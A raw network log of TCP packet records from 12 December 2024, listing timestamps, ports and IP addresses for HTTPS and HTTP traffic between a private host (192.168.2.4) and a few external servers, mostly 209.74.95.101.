Dec 12, 2024 12:06:40.082772017 CET	49751	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:40.829061031 CET	49751	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:40.829098940 CET	443	49751	209.74.95.101	192.168.2.4
Dec 12, 2024 12:07:17.169215918 CET	49795	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:07:17.169307947 CET	443	49795	142.250.181.132	192.168.2.4
Dec 12, 2024 12:07:17.169397116 CET	49795	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:07:17.169609070 CET	49795	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:07:17.169642925 CET	443	49795	142.250.181.132	192.168.2.4
Dec 12, 2024 12:07:17.244986057 CET	49724	80	192.168.2.4	199.232.214.172
Dec 12, 2024 12:07:17.365149021 CET	80	49724	199.232.214.172	192.168.2.4
Dec 12, 2024 12:07:17.365215063 CET	49724	80	192.168.2.4	199.232.214.172
Dec 12, 2024 12:07:18.870606899 CET	443	49795	142.250.181.132	192.168.2.4
Dec 12, 2024 12:07:18.870981932 CET	49795	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:07:18.871047974 CET	443	49795	142.250.181.132	192.168.2.4
Dec 12, 2024 12:07:18.872198105 CET	443	49795	142.250.181.132	192.168.2.4
Dec 12, 2024 12:07:18.872483969 CET	49795	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:07:18.872663975 CET	443	49795	142.250.181.132	192.168.2.4
Dec 12, 2024 12:07:18.914613008 CET	49795	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:07:28.558747053 CET	443	49795	142.250.181.132	192.168.2.4
Dec 12, 2024 12:07:28.558881044 CET	443	49795	142.250.181.132	192.168.2.4
Dec 12, 2024 12:07:28.558943033 CET	49795	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:07:28.804888964 CET	49795	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:07:28.804960012 CET	443	49795	142.250.181.132	192.168.2.4
Dec 12, 2024 12:08:17.224111080 CET	49932	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:08:17.224184990 CET	443	49932	142.250.181.132	192.168.2.4
Dec 12, 2024 12:08:17.224253893 CET	49932	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:08:17.224582911 CET	49932	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:08:17.224625111 CET	443	49932	142.250.181.132	192.168.2.4
Dec 12, 2024 12:08:18.920804977 CET	443	49932	142.250.181.132	192.168.2.4
Dec 12, 2024 12:08:18.921304941 CET	49932	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:08:18.921346903 CET	443	49932	142.250.181.132	192.168.2.4
Dec 12, 2024 12:08:18.922445059 CET	443	49932	142.250.181.132	192.168.2.4
Dec 12, 2024 12:08:18.922938108 CET	49932	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:08:18.923031092 CET	443	49932	142.250.181.132	192.168.2.4
Dec 12, 2024 12:08:18.975020885 CET	49932	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:08:28.612044096 CET	443	49932	142.250.181.132	192.168.2.4
Dec 12, 2024 12:08:28.612215996 CET	443	49932	142.250.181.132	192.168.2.4
Dec 12, 2024 12:08:28.612349987 CET	49932	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:08:28.807511091 CET	49932	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:08:28.807552099 CET	443	49932	142.250.181.132	192.168.2.4
Dec 12, 2024 12:08:45.987279892 CET	49998	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:45.987310886 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:45.987380028 CET	49998	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:45.987473011 CET	49999	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:45.987554073 CET	443	49999	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:45.987637043 CET	49999	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:45.987855911 CET	49998	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:45.987870932 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:45.988101959 CET	49999	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:45.988137960 CET	443	49999	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:47.523228884 CET	443	49999	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:47.523575068 CET	49999	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:47.523628950 CET	443	49999	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:47.524162054 CET	443	49999	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:47.524540901 CET	49999	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:47.524631977 CET	443	49999	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:47.524806023 CET	49999	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:47.528914928 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:47.529166937 CET	49998	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:47.529186964 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:47.530262947 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:47.530590057 CET	49998	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:47.530759096 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:47.571321011 CET	443	49999	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:47.582319021 CET	49998	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.280376911 CET	443	49999	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.282263041 CET	49999	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.282310009 CET	443	49999	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.282361984 CET	49999	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.283097029 CET	49998	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.327325106 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.902656078 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.902688026 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.902698040 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.902734041 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.902736902 CET	49998	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.902756929 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.902785063 CET	49998	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.925734043 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.925779104 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.925843954 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.926567078 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.926579952 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.927256107 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.927304983 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.927341938 CET	49998	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.927350998 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.927412033 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.927414894 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.927546978 CET	49998	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.927581072 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.927974939 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.928045034 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.928580999 CET	49998	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.928591013 CET	443	49998	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.930362940 CET	50007	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.930372953 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:48.930490971 CET	50007	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.930807114 CET	50007	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:48.930819035 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.273318052 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.273869038 CET	50007	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.273889065 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.275438070 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.275506973 CET	50007	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.275902033 CET	50007	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.276002884 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.276046038 CET	50007	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.321316957 CET	50007	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.321324110 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.364768028 CET	50007	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.460236073 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.464951038 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.466928959 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.466938019 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.467252970 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.467375994 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.467427015 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.467720985 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.467781067 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.468066931 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.471043110 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.471141100 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.471611977 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.471818924 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.471824884 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.511337042 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.515326977 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.520095110 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.520123959 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.565606117 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.811346054 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.811377048 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.811383963 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.811467886 CET	50007	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.811494112 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.811564922 CET	50007	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.817162991 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.817286968 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.817342043 CET	50007	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.820373058 CET	50007	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.820386887 CET	443	50007	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.823203087 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.823298931 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.823425055 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.823443890 CET	50014	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.823474884 CET	443	50014	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.823615074 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.823617935 CET	50014	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.823649883 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:50.823750973 CET	50014	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:50.823765039 CET	443	50014	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.006691933 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.006752968 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.006839037 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.006855011 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.013679981 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.013715982 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.013725996 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.013765097 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.013801098 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.013870001 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.013904095 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.052407980 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.067817926 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.070739031 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.070759058 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.070805073 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.070811033 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.070852041 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.071261883 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.071270943 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.071341991 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.071350098 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.116166115 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.208043098 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.208054066 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.208108902 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.208129883 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.208184958 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.208935022 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.208952904 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.209002972 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.209011078 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.209053040 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.230509996 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.230523109 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.230581999 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.230602026 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.241472006 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.241482019 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.241564989 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.241573095 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.259066105 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.259083986 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.259149075 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.259166956 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.266554117 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.266585112 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.266621113 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.266628027 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.266649961 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.272537947 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.272551060 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.272572994 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.272599936 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.272614956 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.272653103 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.283447981 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.283454895 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.283509970 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.283515930 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.317162037 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.332348108 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.389836073 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.389849901 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.389874935 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.389914036 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.389956951 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.390049934 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.390059948 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.390095949 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.390115976 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.390139103 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.402437925 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.402448893 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.402475119 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.402503967 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.402549028 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.405069113 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.405076981 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.405128956 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.405167103 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.405200958 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.417401075 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.417411089 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.417507887 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.417526007 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.422877073 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.422889948 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.422950029 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.422959089 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.428556919 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.428587914 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.428627014 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.428642035 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.428658009 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.435741901 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.435798883 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.435805082 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.435825109 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.435847044 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.439675093 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.439713001 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.439740896 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.439754963 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.439774990 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.439798117 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.439841032 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.440161943 CET	50006	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.440179110 CET	443	50006	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.447618008 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.447676897 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.447707891 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.447715044 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.447748899 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.460381031 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.460438013 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.460453987 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.460463047 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.460490942 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.470588923 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.470645905 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.470658064 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.470669031 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.470693111 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.479518890 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.479614973 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.479623079 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.520759106 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.580898046 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.580907106 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.580971003 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.580986023 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.581006050 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.581051111 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.581548929 CET	50005	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.581564903 CET	443	50005	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.601865053 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.601924896 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.601994991 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.602638006 CET	50021	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.602674007 CET	443	50021	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.602725983 CET	50021	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.603044033 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.603065968 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.603869915 CET	50021	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.603884935 CET	443	50021	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.604515076 CET	50022	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.604526043 CET	443	50022	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.604666948 CET	50022	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.605074883 CET	50022	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.605092049 CET	443	50022	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.605431080 CET	50023	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.605438948 CET	443	50023	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.605696917 CET	50023	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.606436968 CET	50023	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.606446981 CET	443	50023	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.675815105 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.675868988 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:51.676002979 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.676789999 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:51.676808119 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.165975094 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.166311979 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.166342974 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.166810036 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.167104959 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.167188883 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.167244911 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.211338043 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.362854004 CET	443	50014	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.363281012 CET	50014	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.363298893 CET	443	50014	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.363605976 CET	443	50014	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.365534067 CET	50014	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.365593910 CET	443	50014	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.366240978 CET	50014	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.407340050 CET	443	50014	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.712436914 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.712470055 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.712536097 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.712569952 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.756505966 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.829256058 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.829289913 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.829372883 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.829406023 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.829420090 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.865314960 CET	443	50014	209.74.95.101	192.168.2.4
